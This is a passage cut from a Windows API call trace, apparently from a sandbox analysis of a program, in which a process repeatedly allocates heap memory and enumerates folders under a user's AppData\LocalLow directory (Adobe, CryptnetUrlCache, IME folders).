ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0118.858] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f7fd0 [0118.858] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.858] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x1c) returned 0x3947c20 [0118.858] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0118.858] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.858] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7fd0 | out: hHeap=0xd10000) returned 1 [0118.858] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0118.858] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.858] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0118.859] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0828 | out: hHeap=0xd10000) returned 1 [0118.859] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.859] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f7fd0 [0118.859] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.859] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.859] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.859] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.859] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.859] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.859] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.859] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.859] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.859] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.859] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.859] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.859] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.859] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.859] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.859] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.859] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.859] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.859] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.859] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.859] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.859] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.859] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.859] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.859] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.859] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.859] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.859] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.859] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.860] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.860] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.860] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.860] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.860] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.860] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.860] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.860] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.860] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.860] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.860] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.860] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.860] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.860] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.860] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.860] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.860] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.860] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.860] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.860] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.860] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.860] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.860] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.860] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.860] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.860] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.860] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.860] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.860] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.860] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0118.861] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0118.861] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0118.861] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0118.861] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0118.861] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.861] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.861] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.861] PathFindFileNameW (pszPath="") returned="" [0118.861] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.861] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.861] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0118.861] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0118.861] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.862] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.862] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.862] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0118.862] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0118.862] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0118.862] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0118.862] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.862] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.862] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.862] PathFindFileNameW (pszPath="") returned="" [0118.862] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.863] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.863] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1 [0118.863] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1 [0118.863] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 0 [0118.863] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.863] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.863] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.863] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\") returned="IME12\\" [0118.863] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0118.864] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0118.864] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0118.864] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.864] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.864] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.864] PathFindFileNameW (pszPath="") returned="" [0118.864] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.866] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.866] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0118.866] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.866] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.866] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.866] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\") returned="IMJP12\\" [0118.866] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0118.866] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0118.866] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0118.866] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.866] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.866] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.867] PathFindFileNameW (pszPath="") returned="" [0118.867] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.867] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.867] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0118.867] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.867] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.867] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.867] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\") returned="IMJP8_1\\" [0118.867] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0118.867] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0118.867] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0118.867] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.867] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.868] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.868] PathFindFileNameW (pszPath="") returned="" [0118.868] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.868] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.869] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0118.869] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.869] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.869] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.869] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\") returned="IMJP9_0\\" [0118.869] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0118.869] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0118.869] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0118.869] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.869] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.869] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.869] PathFindFileNameW (pszPath="") returned="" [0118.869] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 